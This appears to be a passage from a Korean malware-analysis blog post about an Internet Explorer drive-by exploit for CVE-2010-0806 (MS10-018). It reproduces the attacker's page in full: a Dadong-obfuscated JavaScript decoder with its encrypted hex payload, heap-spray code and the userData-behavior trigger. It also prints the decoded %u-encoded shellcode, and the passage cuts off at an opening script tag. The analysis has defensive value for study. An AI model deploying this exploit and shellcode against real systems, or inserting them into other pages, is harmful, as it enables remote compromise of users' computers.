5915074E1B73485E796E0214795D785D19453E6B530326766533667C3F7048620A134C0E637B7C0D6D1D2629357F10525D664E28554A3E38596D7A4F5F235D5C151F66243B40402E1C080B344F57384971096B2F0A7C48527162122075401F0A712D6E0B4F7B60101F4B6A7C3B685C721D4F741C5F2F445D597903662330185E5D62463C337F0D7A6D5D467763030406090D122C3F405C26651B0A785377547519392D00734D78267966123C1E732A0E594922671B2F0D5B71101E4C73704072143370291F57681169113A78022A5C2A4D6E4E20417204007D416E5B433F3C3A39395A687F50482E151D06701B67605D7D0D083D2702186E517A02280A0B21065145325363336E0D160D4E2C6F0874626E3802291B4F7C01753900193A0E647A790A66142330710D7D45664F537F0B750E0A6650437064067A78727B1F677C55711D0D7141557452394A4E047C4B69725941324F7B7B200B4F6E02403B5C182E7167081F535760017131015C0E03483649625A7877294A0D6D496E53537B70731B1D4E7C634C5C3A3E4D3F4A5F77685D751D03010D40407A5D7E1E3C5B030B3B715D225B637F2B07356012744340787E187E2F794F2F54117D39032F7F135C26554A12184C7B072D592D466743337C0B6B194668730C18720908020563574475690D7A0A7B325C72516E6A78412B6707196D6E771B3F1003396412685B08480A4F6E65601B7B385D19110A1833004026514266287E71216269457A0B632F3E0C7E1E4E7473081006191D5D28436B7C495939493B3F20487A556E66700E3227277D593E4F4F030B38107B027C430C4806476274216367580D71792E785C7803692003336E2A592C0D467901793F76167A2B723B2E3323681A0D01362C233929301D76554471620416041D081E25743A3E6E4F550A343D565339657F572E2707126D55015C1B647F16407B3B527D36612569016E08231330622C0B3F482B425C00091C282C112401441D0D3E30236B60160D537F6A335F687A4A5B3A2C3233767B520D7732396269360430442C3F13682A01197238452E6A16504430546233087301796670297B14620D241A57285B4E1315272E4D612C4076237B0D291923681A0D01362C236F3E234F196750427766061900626A1F677C55711D0A2B33310F142A597A44085F18726A15602709283A01042772046B3F683E69016E5E6241302A544963713A7B20720401401E59683A666C496F54517B6E4448557279706A2425596D7A4F5F233779096460293D353937160643067B56246F555C7256563C500E3A45277C56774D6E6E2F680127704037416C4E7D6B404E10437C057C3E70507B652C4241334F11556C162D6866232D3658196558497C5004025927242A776936485476296D526906726D7B582E7B4D62424733481C707C5F654826416B7C395B1B493A1D3857752E447553382844540B57603C73577A602B49483E43693C08601C1E7A7D7F6A786F29446E7E4A24237A404153342E2340795875183D24572D66444D373862286C7054107974566F4D3A4469552A6E081369496C567D3F4E2C0E4679011F342F51726C3D53047775026D41582037672A2427495C1659726350447C6D72732B66607355481A1F6F6A68577B327A51276A5C27294C35467C276F7031163641277A3C7B69483860565A660B193A527D23566C37197361317F7E3E7559487275772E60575F6D49742734686F656C7E692F437F6A6D7A077B2F667C7B59586E417E5C0A3D1A7A3D745F2A7B424640307252644D660872";NesH8="function OfvI8(){MaoB7=Math.tan;kBRfuGT1=Math.PI;LYoA7=parseInt;SlzOd2='length';arHWl4='test';iwJWlwJ8='replace';iyLanAM0=LYoA7(~((kBRfuGT1&kBRfuGT1)|(~kBRfuGT1&kBRfuGT1)&(kBRfuGT1&~kBRfuGT1)|(~kBRfuGT1&~kBRfuGT1)));KbqD7=LYoA7(((iyLanAM0&iyLanAM0)|(~iyLanAM0&iyLanAM0)&(iyLanAM0&~iyLanAM0)|(~iyLanAM0&~iyLanAM0))&1);/Encrypt By Dadong's JSXX 0.39 VIP/cqERht5=KbqD7<<KbqD7;new function(){KbqC7=LcpC7('a1Qe4dG]6zY^k8b]#&,m8$[x_GD3]Nvj5dsn7[F[8ecu[S34Rlc]4r;iadpDt='iwJWlwJ8);};try{if(!\/^\d$\/garHWl4);}catch(e){gwLYnA6=iyLanAM0;}SjwHV1='';MdrE7=eval(mAPdrEP0('%5'+'3%74%'+'72%69%6'+'E%67%2E%'+'66%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F'+'%64%65'));for(PguHV1=iyLanAM0;PguHV1<NesH8[SlzOd2];PguHV1-=-KbqD7)gwLYnA6+=NesH8.charCodeAt(PguHV1);gwLYnA6%=mAPdrEP0(iyLanAM0+mAPdrEP0('x')+(1<<6)-KbqD7);PgtHW1+=KbqD7;for(PguHV1=iyLanAM0,WlyLa2=KbqD7;PguHV1<QgtFU1[SlzOd2];PguHV1+=cqERht5,WlyLa2++,gwLYnA6=gwLYnA6+WlyLa2){if(\/^(\d{4})\/garHWl4)gwLYnA6%=84;SjwHV1+=MdrE7(LYoA7(iyLanAM0+mAPdrEP0('x')+QgtFU1.charAt(PguHV1)+QgtFU1.charAt(PguHV1+LYoA7(KbqD7)))^gwLYnA6);}try{new function(){KbqC7(SjwHV1);}}catch(e){try{new function(){ivHUivI8=parseInt;MaoB7(SjwHV1);}}catch(e) {window.location='/';}}}try{LcpC7('OfvI8();')}catch(e) {try{PgtHW1=iyLanAM0;LcpC7('OfvI8();');}catch(e){alert('ere');}}";dvJWly6 = LcpC7(LcpC7);dvJWly6(NesH8);
         try{alert(a,b,c);}
         catch(e)
   {
    var HSgs5="d";
    while(huHUiuH8.length < QerDQ0/2) huHUiuH8 +=huHUiuH8;
         var ivIVivI8 = huHUiuH8.substring(0, QerDQ0/2);
         delete huHUiuH8;
         for(i=0;i<270;i++)
         {
              PdpCR0[i] = ivIVivI8+ivIVivI8+OcpBQ0;   
         }
    }

function LYmy6()
{
    var HUiv6="#default#userData";
    var JVjw6 = document.createElement(kxJWmyL8);
    JVjw6.addBehavior(HUiv6);
    document.appendChild(JVjw6);
    jvIVkxK8='s';
    try
    {
        for (i=0;i<10;i++)
     {
           JVjw6.setAttribute(jvIVkxK8,window);
        }
    }
    catch(e)
    {}
    window.status+='';
}
var GThu6="x";
document.getElementById("KXmz6").onclick();var trcaaa="x";
var HTgt6="x";
</script>
</body>
</html>
<script src="http://s15.cnzz.com/stat.php?id=2671160&web_id=2671160&show=pic" language="JavaScript"></script>

우선 이용하는 취약점은 CVE-2010-0806, MS10-018 이며 취약점과 관련된 코드는 아래쪽에 나와 있습니다. 하지만 중요한 쉘코드 부분이 Dadong 이라는 암호화 방법으로 암호화 해두었습니다.

이 부분을 해석해야 하는데 자바스크립트에서 쉘코드는 보통 unescape를 거쳐야 하므로 unescape를 alert로 변경하여 아래와 같이 수정 후 쉘코드 부분만 따로 확인할 수 있었습니다. 단, 실행 시 파이어폭스에서는 실행이 되지 않으며 인터넷 익스플로러에서만 확인이 가능합니다. (파이어폭스에서 실행되지 않는 이유는 SpiderMonkey가 해석하지 못하는 코드가 포함된 것이 아닐까 추측합니다.)

<script>
var jwJWkwJ8='\x30';
var kxKXlxK8='\x25'+'u9'+'\x30'+'\x39'+jwJWkwJ8;
kxKXlxK8+=kxKXlxK8;
var IViv6="%u";
var JVjw6=alert;
//var KXkx6="x";
var kxJWmyL8="BODY";
LcpC7 = eval;mAPdrEP0=unescape;QgtFU1="7957567F75750435112942BADCF7D2F7ADECCC60687C1E0A0ADF89E5D83C1A7B5CBA80EDD31F3D12EEE6BE43213E9CFB2D621ED1954023FF8BC21252E2944330E4C67FC7F55407FB9875D1FD29288E4E30D6791EE23C26835E319D49FAAB1B9B2042E57BF2680398188211BDCA28D79368C9AD11AF53B7CA78C651DE4EAC28DB11E47DD54A831BE349AF63F212B47FDC64F639AD068F43CF38A17DF926843393188E4DA266EC059E04EB698132B31FCF3BFA14966A9473F874EE0B318077A36BA00159FD7748E109488679960214B55CC75AA145866BAF0324DA62CE667C877048CA7C1933C0637B7CB56D1D2E23BB7310525D664E28233F3C3A596D7A4F5F235B581C6866243B40402E1B7E0B484F57384971091029077F4852716212207233697C712D6E0B4F7B12616E306A7C3B685C72674C701B5F2F445D597905102245185E5D62463C377771716D5D467763030C020178122C3F405C26656C7C7B5377547519395F777F4D78267966123C1A7B2909594922671B2F715B08101E4C7370407211420E2E1F57681169114E09725D5C2A4D6E4E20417C71057D416E5B433F3D3B4F4D5A687F50482E106972741B67605D7D0D0B3C2772186E517A0228067E5E745145325363331F0B620F4E2C6F087462684F7E211B4F7C017539046B377A647A790A6614223B0C0E7D45664F537F0B750F0E665043706406090A74711F677C55711D0F7F31267452394A4E047A3611755941324F7B7B287C3A1B02403B5C182E0A197E6E53576001713175207E71483649625A78765E3A7B6D496E53537B02776B144E7C634C5C3A3D48323C5F77685D751D05747834407A5D7E1E3C2E067E4F715D225B637F5C72336012744340787E167B26714F2F54117D397B5A791E5C26554A12183F73072B592D466743337A0E15124668730C18720D7B700463574475690D7A7F7A475C72516E6A7835261D75196D6E771B3F6C043C1712685B08480A316E63161B7B385D19117910377140265142662809072F6B69457A0B632F350F7F6C4E74730810061A672728436B7C4959393C3B4D26487A556E66707D40265F7D593E4F4F030A3F657D027C430C4806351907546367580D71792A7D2A0E74365D4A6A280E1B3470756D326B5F7B70284C0C66406340180A19195348532B38016D09747276006452497E12787B303C5471494A0B532310050F3B4E503B4C78723D16073E7B2F6879591D60140A5B187A39621E18307624037165465B1F03216108635A2C435C5C7E0E1C2722532F30757D152F5B563A5C6E794A5A3C3A555E27754946031B33252E69781E686F70183A140F655B632B687551117A237730782A510A4E785B0E15137D6D4A5B1B1B3D06163B124C7F08642E4F797011436738797D11534A330918264D7A6604710703016959320B1F333C22146B6A2C73507406704C5D711B6B580159157B486A79485E796E021479297A5D19453E6B530324011542667C3F7048627A654B7F637B7C0D6D1D2C563A0E10525D664E28573F384C596D7A4F5F232D2F101B66243B40402E690B0B384F5738497109612B037E48527162122001326B0D712D6E0B4F7B106B6B486A7C3B685C72614C036B5F2F445D597907622547185E5D62463C30090A7A6D5D4677630301047C0B122C3F405C26641B09795377547519392E767E3678267966123C6E0A2D7F594922671B2F0D297A181E4C73704072193273211F57681169113270072A5C2A4D6E4E20417A76707D416E5B433F3E32314A5A687F50482E121D70061B67605D7D0D783D2777186E517A02280B7E5B04514532536333197D147B4E2C6F0874626B4B0E2C1B4F7C017539706E4C7A647A790A66142A420D037D45664F537F70760809665043706406010A767E1F677C55711D7E0E45227452394A4E0473396B005941324F7B7B5D0F4B1D02403B5C182E0D637F6E53576001713170290E05483649625A78715E350A6D496E53537B79051F634E7C634C5C3A4D3C3B395F77685D751D74707B3A407A5D7E1E3C26030C3A715D225B637F2001456312744340787E187D5F0B4F2F54117D390D5A08195C26554A121836090458592D466743337F0A6E164668730C1872047F050763574475690D07097A305C72516E6A7842226603196D6E771B3F1D013C1C12685B08480A4819621C1B7B385D19110A1E37774026514266280E065D6269457A0B632F3D0C796B4E747308100668635B5B436B7C495939384D3C26487A556E66700A47552A7D593E4F4F030A3E117B027C430C4806471707226367580D71792A7C2E0F74365D4A6A280E1C4907756D326B5F7B7228317166406340180A1E132238532B38016D09017101756452497E1278093B3B2E71494A0B53236100793A4E503B4C78723B1D753D7B2F6879591D64677E2A187A39621E18317156767165465B1F0321600D635A2C435C5C7E0C182951532F30757D152C2C514A5C6E794A5A3C3D215C2B754946031B33285A6F7F1E686F70183A130F655E632B6875511171217247782A510A4E782A781D167D6D4A5B1B1B48716431124C7F08642E48710314436738797D112135400918264D7A6604027004736959320B1F334E22646F6A2C735074067A482A761B6B5801591501481B7E485E796E02140A2D702D19453E6B530325041445667C3F7048627C103A7A637B7C0D6D1D27253B0F10525D664E28253B3B39596D7A4F5F23292C1C6B66243B40402E1C7E773F4F5738497109652E777A4852716212200B471B7D712D6E0B4F7B1C131E4A6A7C3B685C72633A7B1A5F2F445D59797011503A185E5D62463C417E71036D5D4677630305700108122C3F405C26166C0B715377547519395B05783A78267966123C180D2D02594922671B2F7D5C7C631E4C737040721645042A1F57681169114B7F012E5C2A4D6E4E20350A01067D416E5B433F3E4E384B5A687F50482E1D6B04771B67605D7D0D7B352B71186E517A0228757B5E03514532536333100C14784E2C6F08746215307B281B4F7C017539701D4972647A790A66142231097F7D45664F537F71040C006650437064060C0503791F677C55711D0E7832227452394A4E047D3C1C015941324F7B7B5C783B6B02403B5C182E7F670D6D5357600171310E2A7C02483649625A78015C497C6D496E53537B78076F114E7C634C5C3A4D4F3F4D5F77685D751D03030E41407A5D7E1E3C2A027C3C715D225B637F2972426712744340787E170B28714F2F54117D397B5E79195C26554A12184A0D032F592D46674333790F14114668730C1872797C020563574475690D767A76365C72516E6A7830251001196D6E771B3F6E74391112685B08480A4A6966121B7B385D19110A1947064026514266280D032C6169457A0B632F3E79781A4E74730810066B662A5C436B7C4959393D3F4A2A487A556E66707F4152587D593E4F4F037133137B027C430C4806351572516367580D7179277C2E0A74365D4A6A287B693A70756D326B5F7B0658317A66406340180A14642E3B532B38016D0977040A066452497E127877313C5771494A0B532317727F4F4E503B4C787231147A357B2F6879591D6A65085A187A39621E18367625757165465B1F0328600C145A2C435C5C7E7E152E51532F30757D155D20224C5C6E794A5A3C3C272E2E754946031B33242C1A0F1E686F70183A640A172F632B6875511177270532782A510A4E78267B15617D6D4A5B1B1B4F74153A124C7F08642E317B0F1C436738797D11224A327E18264D7A6604050607776959320B1F33352013146A2C735074060A302E001B6B58015915724F1D7A485E796E02147C277F2D19453E6B530352031045667C3F7048620C14337D637B7C0D6D1D2928377210525D664E2855373B3E596D7A4F5F232D2C666C66243B40402E1D0D774D4F57384971096B2007794852716212207635197D712D6E0B4F7B6514194A6A7C3B685C72154D011B5F2F445D597902175630185E5D62463C3B7D0D036D5D467763037703007B122C3F405C26636C02785377547519395B777F4E78267966123C6F0E2D0F594922671B2F0B5B0D191E4C737040721031032D1F57681169113E7B702A5C2A4D6E4E20420878747D416E5B433F3A32384C5A687F50482E146C0F061B67605D7D0D773E2602186E517A0228030921755145325363331177167A4E2C6F0874626C487F2F1B4F7C017539756B3A0E647A790A661421477C0E7D45664F537F0E7A0F0A665043706406780D067C1F677C55711D0A0E30567452394A4E047B496E705941324F7B7B2E0B3A6F02403B5C182E7F677711535760017131015A0C06483649625A78712F3D086D496E53537B06031F124E7C634C5C3A4B3F483F5F77685D751D02777A47407A5D7E1E3C5D040D38715D225B637F2D07301212744340787E630C2D7D4F2F54117D39092B7B1E5C26554A12184E0E752A592D46674333090E1A674668730C18720908777663574475690D077B09425C72516E6A783B216572196D6E771B3F1D743F6312685B08480A3E6C13661B7B385D19117769310A40265142662877712B1469457A0B632F4A770C1D4E747308100669645A2A436B7C4959393934362B487A556E66707A33562D7D593E4F4F037C33157B027C430C4806426506566367580D71795F7D280E74365D4A6A287E193B07756D326B5F7B0D2A4F0C66406340180A1F132639532B38016D09060D05056452497E12787A45482471494A0B53231300713F4E503B4C7872481775357B2F6879591D1361085E187A39621E18330227077165465B1F032B650C125A2C435C5C7E0F6F2622532F30757D152F20563E5C6E794A5A3C3E265A2A754946031B335458180E1E686F70183A177B6221632B687551117152023A782A510A4E785B7C62107D6D4A5B1B1B38711431124C7F08642E4C7F0117436738797D115349470D18264D7A6604020A060F6959320B1F333826176C6A2C7350740679382B001B6B58015915743D180F485E796E02147B27715F19453E6B530322016342667C3F70486278143E7D637B7C0D6D1D5C55427910525D664E282B3B483D596D7A4F5F232A2C611966243B40402E197C783A4F57384971096B2E750B48527162122002356D7E712D6E0B4F7B16661D4F6A7C3B685C72603B7A1C5F2F445D59790760253A185E5D62463C32760C756D5D46776303770E0E7F122C3F405C261768090D537754751939280C7B3778267966123C6A095A7B594922671B2F7E2A7F101E4C73704072654305211F57681169114C7172295C2A4D6E4E204078770E7D416E5B433F4A4E3A305A687F50482E661A04781B67605D7D0D793E2803186E517A0228007D5E02514532536333190B140D4E2C6F0874626E300E211B4F7C017539031E4A7D647A790A66142032097C7D45664F537F0C7309096650437064067F7C707F1F677C55711D780B34267452394A4E04083C1F065941324F7B7B2E0E3F1502403B5C182E0A160D1E53576001713105207C02483649625A78702948776D496E53537B057568104E7C634C5C3A4A4C3E3E5F77685D751D01047B42407A5D7E1E3C26777C32715D225B637F5B74371512744340787E63712B0C4F2F54117D397F290A1A5C26554A12184C7A0C5D592D46674333780969634668730C1872087C020063574475690D067D77415C72516E6A784023130F196D6E771B3F11723A1D12685B08480A311917661B7B385D19110C184572402651426628790B5B1169457A0B632F3A79091B4E74730810061416272A436B7C49593948393F51487A556E66707A45295D7D593E4F4F030B491500027C430C4806426477246367580D71795D0B2E7974365D4A6A28791F3571756D326B5F7B722C3D7B66406340180A6B132E4E532B38016D090702710B6452497E127809413B5371494A0B53231C700A304E503B4C78723B60733D7B2F6879591D631D7A5B187A39621E18300726047165465B1F03206A0F155A2C435C5C7E7E1E5826532F30757D15265B514A5C6E794A5A3C362A2026754946031B33212E1E7C1E686F70183A1108645E632B6875511176540245782A510A4E782A7F66657D6D4A5B1B1B3A7B614D124C7F08642E4A7F0512436738797D11264D317918264D7A66040A0075036959320B1F333823166C6A2C73507406784F2D761B6B580159157A39120A485E796E021408290D2719453E6B5303567B6240667C3F7048620D133870637B7C0D6D1D2B23347210525D664E28223E4E33596D7A4F5F235B2A156966243B40402E147B7D3D4F5738497109172D027C48527162122004336B76712D6E0B4F7B126B6C3A6A7C3B685C721C4B041B5F2F445D59790711523A185E5D62463C31777C726D5D4677630370070905122C3F405C26651E0C705377547519392C057F3F78267966123C6E7E297F594922671B2F0C2E71121E4C737040721043775A1F57681169113E0A062F5C2A4D6E4E20427A79077D416E5B433F3F38314B5A687F50482E611C05761B67605D7D0D7C4F2E00186E517A022870775B745145325363331C7611714E2C6F087462153E0E5D1B4F7C017539756E3E7F647A790A66142B477E0B7D45664F537F0A730578665043706406087F7B7A1F677C55711D080C32557452394A4E047A3C11035941324F7B7B2B0C4A6902403B5C182E7B607D1853576001713177217606483649625A7803264A7A6D496E53537B72076C144E7C634C5C3A3F39393A5F77685D751D75057F40407A5D7E1E3C5B727C4B715D225B637F2A00331312744340787E650F5B094F2F54117D390A2908195C26554A12183672702A592D466743330D7F1C644668730C18727B09030363574475690D767B0E305C72516E6A7846501C07196D6E771B3F1E033E1012685B08480A311564111B7B385D19110F6940054026514266287E75291069457A0B632F387B7B6F4E747308100619155828436B7C49593932384E56487A556E66707B3A272F7D593E4F4F037B39197A027C430C4806301707296367580D71795F7D5B7374365D4A6A28796D3F03756D326B5F7B0228317D66406340180A1F63533F532B38016D09737171076452497E127879473E2471494A0B53231506084B4E503B4C787239637B3F7B2F6879591D1762082A187A39621E18320021737165465B1F032E630A675A2C435C5C7E0C1B2724532F30757D155A5A203E5C6E794A5A3C3E52295F754946031B33245A1F7F1E686F70183A10006B21632B6875511101270247782A510A4E782B0A106A7D6D4A5B1B1B3400613F124C7F08642E3F797516436738797D11263A467718264D7A6604030304066959320B1F333454111D6A2C735074067B3D28001B6B58015915074E1B73485E796E0214795D785D19453E6B530326766533667C3F7048620A134C0E637B7C0D6D1D2629357F10525D664E28554A3E38596D7A4F5F235D5C151F66243B40402E1C080B344F57384971096B2F0A7C48527162122075401F0A712D6E0B4F7B60101F4B6A7C3B685C721D4F741C5F2F445D597903662330185E5D62463C337F0D7A6D5D467763030406090D122C3F405C26651B0A785377547519392D00734D78267966123C1E732A0E594922671B2F0D5B71101E4C73704072143370291F57681169113A78022A5C2A4D6E4E20417204007D416E5B433F3C3A39395A687F50482E151D06701B67605D7D0D083D2702186E517A02280A0B21065145325363336E0D160D4E2C6F0874626E3802291B4F7C01753900193A0E647A790A66142330710D7D45664F537F0B750E0A6650437064067A78727B1F677C55711D0D7141557452394A4E047C4B69725941324F7B7B200B4F6E02403B5C182E7167081F535760017131015C0E03483649625A7877294A0D6D496E53537B70731B1D4E7C634C5C3A3E4D3F4A5F77685D751D03010D40407A5D7E1E3C5B030B3B715D225B637F2B07356012744340787E187E2F794F2F54117D39032F7F135C26554A12184C7B072D592D466743337C0B6B194668730C18720908020563574475690D7A0A7B325C72516E6A78412B6707196D6E771B3F1003396412685B08480A4F6E65601B7B385D19110A1833004026514266287E71216269457A0B632F3E0C7E1E4E7473081006191D5D28436B7C495939493B3F20487A556E66700E3227277D593E4F4F030B38107B027C430C4806476274216367580D71792E785C7803692003336E2A592C0D467901793F76167A2B723B2E3323681A0D01362C233929301D76554471620416041D081E25743A3E6E4F550A343D565339657F572E2707126D55015C1B647F16407B3B527D36612569016E08231330622C0B3F482B425C00091C282C112401441D0D3E30236B60160D537F6A335F687A4A5B3A2C3233767B520D7732396269360430442C3F13682A01197238452E6A16504430546233087301796670297B14620D241A57285B4E1315272E4D612C4076237B0D291923681A0D01362C236F3E234F196750427766061900626A1F677C55711D0A2B33310F142A597A44085F18726A15602709283A01042772046B3F683E69016E5E6241302A544963713A7B20720401401E59683A666C496F54517B6E4448557279706A2425596D7A4F5F233779096460293D353937160643067B56246F555C7256563C500E3A45277C56774D6E6E2F680127704037416C4E7D6B404E10437C057C3E70507B652C4241334F11556C162D6866232D3658196558497C5004025927242A776936485476296D526906726D7B582E7B4D62424733481C707C5F654826416B7C395B1B493A1D3857752E447553382844540B57603C73577A602B49483E43693C08601C1E7A7D7F6A786F29446E7E4A24237A404153342E2340795875183D24572D66444D373862286C7054107974566F4D3A4469552A6E081369496C567D3F4E2C0E4679011F342F51726C3D53047775026D41582037672A2427495C1659726350447C6D72732B66607355481A1F6F6A68577B327A51276A5C27294C35467C276F7031163641277A3C7B69483860565A660B193A527D23566C37197361317F7E3E7559487275772E60575F6D49742734686F656C7E692F437F6A6D7A077B2F667C7B59586E417E5C0A3D1A7A3D745F2A7B424640307252644D660872";NesH8="function OfvI8(){MaoB7=Math.tan;kBRfuGT1=Math.PI;LYoA7=parseInt;SlzOd2='length';arHWl4='test';iwJWlwJ8='replace';iyLanAM0=LYoA7(~((kBRfuGT1&kBRfuGT1)|(~kBRfuGT1&kBRfuGT1)&(kBRfuGT1&~kBRfuGT1)|(~kBRfuGT1&~kBRfuGT1)));KbqD7=LYoA7(((iyLanAM0&iyLanAM0)|(~iyLanAM0&iyLanAM0)&(iyLanAM0&~iyLanAM0)|(~iyLanAM0&~iyLanAM0))&1);/Encrypt By Dadong's JSXX 0.39 VIP/cqERht5=KbqD7<<KbqD7;new function(){KbqC7=LcpC7('a1Qe4dG]6zY^k8b]#&,m8$[x_GD3]Nvj5dsn7[F[8ecu[S34Rlc]4r;iadpDt='iwJWlwJ8);};try{if(!\/^\d$\/garHWl4);}catch(e){gwLYnA6=iyLanAM0;}SjwHV1='';MdrE7=eval(mAPdrEP0('%5'+'3%74%'+'72%69%6'+'E%67%2E%'+'66%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F'+'%64%65'));for(PguHV1=iyLanAM0;PguHV1<NesH8[SlzOd2];PguHV1-=-KbqD7)gwLYnA6+=NesH8.charCodeAt(PguHV1);gwLYnA6%=mAPdrEP0(iyLanAM0+mAPdrEP0('x')+(1<<6)-KbqD7);PgtHW1+=KbqD7;for(PguHV1=iyLanAM0,WlyLa2=KbqD7;PguHV1<QgtFU1[SlzOd2];PguHV1+=cqERht5,WlyLa2++,gwLYnA6=gwLYnA6+WlyLa2){if(\/^(\d{4})\/garHWl4)gwLYnA6%=84;SjwHV1+=MdrE7(LYoA7(iyLanAM0+mAPdrEP0('x')+QgtFU1.charAt(PguHV1)+QgtFU1.charAt(PguHV1+LYoA7(KbqD7)))^gwLYnA6);}try{new function(){KbqC7(SjwHV1);}}catch(e){try{new function(){ivHUivI8=parseInt;MaoB7(SjwHV1);}}catch(e) {window.location='/';}}}try{LcpC7('OfvI8();')}catch(e) {try{PgtHW1=iyLanAM0;LcpC7('OfvI8();');}catch(e){alert('ere');}}";dvJWly6 = LcpC7(LcpC7);dvJWly6(NesH8);
         try{alert(a,b,c);}
         catch(e)
   {
    var HSgs5="d";
    while(huHUiuH8.length < QerDQ0/2) huHUiuH8 +=huHUiuH8;
         var ivIVivI8 = huHUiuH8.substring(0, QerDQ0/2);
         delete huHUiuH8;
         for(i=0;i<270;i++)
         {
              PdpCR0[i] = ivIVivI8+ivIVivI8+OcpBQ0;   
         }
    }

</script>

최종적으로 확인되는 쉘코드는 아래와 같습니다.

%u9090%u9090%uBF3D%u7D5A%uE8FC%u000F%u0000%u9C05%u7D5B%uE9FC%u000C%u0000%u6E05%u7D5C%uB8FC%u5D2B%uFC7D%u40C3%uE890%u03D8%u0000%uCF9E%u6CED%uB140%uA0A2%u63C9%uBE23%u341F%u4893%u848E%uDAF3%uAC4B%u1013%u9EA1%u0C86%uDAAB%uB713%u11FD%u5DD4%uE08A%u51FB%u7ECF%uEFD9%uFC81%u18D4%uC727%u0769%u5725%u1997%u0F36%uC80F%uC81B%uEA65%uBAF1%u4A80%u3437%u156E%uDD2A%u7289%uAB25%u0835%u2483%u0BF0%u875D%u659C%uDF52%u8C12%u784B%uF479%u9ABA%u7B90%u67B5%u6C6A%uB5DD%u48ED%u455E%uE082%uD6EE%u48ED%uBFE3%u430B%u43F2%u43E2%u20AD%u3E4A%u931B%u3192%u1CE5%u5FF9%u50DE%u567C%u83D3%uDE1A%u1D32%uF0F5%uEF0F%uB477%u045F%u9ECE%u9DA2%u262C%u4C4C%uCDA7%u2F9E%uD04F%u5156%uD6E4%u3301%u21CC%u49FA%uDEAC%u1F6D%u3FB8%u52E6%uE631%u0B59%uEA5E%uE739%u83E9%u8845%uB16F%u288C%u70FF%u618D%u81C2%u1352%uFB44%u2FC1%u9AE9%u8450%u8746%uDFF1%u86CB%uE5B0%uDB1F%uF1A6%uBA9D%u932F%uD515%uB009%u90D0%u87DB%u94AC%u7BC2%u9B0F%u70C7%u9F33%uEA53%uA1B5%u5C59%uA408%uD64D%uA5E0%u1BDF%uEFEC%u2A35%uADE4%uB40B%uF6E2%u441D%uE7EE%uF688%u3244%u7E2F%uF878%uE603%u2871%u6C55%u2BF4%u924B%u157A%u24BE%u22D5%u8DBB%u267F%u31AD%u539D%uD3A8%uA850%u79CF%u1C0E%uB4EB%u3A4B%uCD05%uA283%u5F5D%uE102%u958D%u6473%u129F%u1C93%u76D5%u8D33%u8A3C%uF392%uF5C9%uB19A%u1F85%u7A19%uE135%u3F58%u5B5B%u7D22%uA721%u6AA0%u2D1B%u8F27%u594B%uF4F5%u8B51%u89A0%u25F9%u12AE%u9F19%u58A1%u4011%u634C%uDB2F%u6FCE%u8231%u2CE2%u81B4%uDF5A%u5CEB%u5146%u1DCF%u6B69%uAF22%uEF71%u1590%uDE41%u4295%u3647%uF604%uCD46%uD1D5%uB043%u27E7%uFC4D%u73E9%u4BBF%u992B%u440A%u941A%u0B62%u2F83%u9E87%uA095%u820A%u3D6F%u8189%u8ACE%u5E57%u0255%uC80A%uC81C%u3460%u4272%uE3E7%u5761%u9013%uC603%u8298%u4F11%u653A%u9629%uC904%u0C61%u7873%uBA1D%u5595%u7849%uF874%u52CA%u009A%u9846%uE613%uAF4C%u0DC3%u43E3%u82EA%uC59F%uBA80%uEC4A%uDE55%uCED8%u1055%u43C5%uAC8B%u681E%u1A9F%u9291%u0F9C%u9973%uAAE7%u7C5E%u2D44%uF823%uA0D4%u0F3E%u0FF2%u613B%u6F99%u7BC5%uB01F%uF527%uB6B3%u471D%uB7E2%u5113%uBE35%u3305%uAEA4%uA47F%u41AB%uE3FA%u82AD%u566F%u7AAB%u9A29%u8B3F%uF910%uDAD2%u3898%u10F3%u494B%uCDDF%uA57E%u527E%u94FE%u2205%u0966%u5FD2%u7686%uA279%uAECA%u017E%u3753%u2B82%u18E1%u15B4%uDF53%u6B09%u3B19%uD7FB%u4318%uE673%uEEDB%u1929%u406A%u0154%u613D%u089A%u2CBC%uA545%uBEA2%u84D7%u22D4%u4A66%u96FD%u16E0%u240F%uE284%u1D69%u19D7%uC87B%u6E3E%u6808%uABBA%u6461%uDB39%uF9A6%uC378%uFD39%uC728%u7270%u32F4%u1E5D%uC949%uA6E6%u31AF%uD140%uFA27%uBC75%uC37D%u6468%uC7C6%u3831%uC6D9%uECE5%uCE42%u7D0A%u9D48%uCB64%uB85D%uE1A1%uC18C%u03DB%u5E44%uD58B%uC079%u9038%u84EB%uB0FA%u68CC%u6746%u9392%uB50B%u1F9C%uCC49%uCE54%uCC12%u2493%uF242%uF28B%u16B8%uFB7E%u8FC9%u2E11%u191D%u346F%u8864%uC3F6%u8CBE%u9988%u103A%u016F%u4D1F%u54B7%u69DD%uC636%u0A26%u93A5%u457A%u1F3B%u859A%uC6E9%uF9CA%u4228%u5379%u11B9%uC40D%u9F31%uE513%u70C8%u69A3%u9BF3%u15A9%u2840%uD108%uD368%u2140%uE51E%uD083%u1BAB%u4B50%uA191%u328B%uD136%u2C13%uC8CB%u4808%u874E%u7F14%u8D61%uB18A%u1B92%u2D1F%u139A%u36CD%u2A30%uA995%u09F4%u21A1%u6036%uCE4C%uDA4A%u2622%uDFEA%u01C2%u99D4%uEE1E%uF057%u43A3%uEC81%u6A75%u8865%uAAC6%u1F1B%u45FB%u40F0%u84AE%u0971%u338C%u16E9%uA5D8%u2F3A%u6684%u2BE3%uEEB4%u6D22%u10AB%u0F93%uEFC5%u1311%u613F%u1694%uDB31%u1A1A%u4D2B%u1999%uC71D%u4A48%u8BD6%u60C2%u06E8%u0000%u8B00%u2464%uEB08%u2B0C%u64D2%u32FF%u8964%uFE22%uEB02%u15E8%u9793%uFC7D%uDB2B%u8F64%u5B03%u00E8%u0000%uD600%u348B%u5824%uEE81%u52F1%u0015%uB9D6%u0000%u0000%uF181%u9D90%uFC7D%uC181%uB15E%u0397%uC733%uCE03%u79BF%u7DA0%u81FC%u8FF7%u7DA0%uD6FC%u0E68%u7D5F%u5AFC%uD0C1%u314A%u9711%u9748%uC033%u41F8%u4141%u8B41%uB8C1%u8A0A%uFC7D%uD003%u1B90%u2BC3%u48C0%uC703%uE179%uC21B%uFC61%u00C3

마지막으로 쉘코드 부분만이 아닌 전체 코드를 확인하는 코드는 아래와 같이 수정하여 볼 수 있습니다. 요즘은 난독화가 너무 어렵게 되어 있어 이렇게 분석하는거 보다 가상머신에서 직접 접속하여 패킷 정보를 통해 보는 방법이 더 편할지도 모르겠다는 생각을 하곤 합니다.

<script>
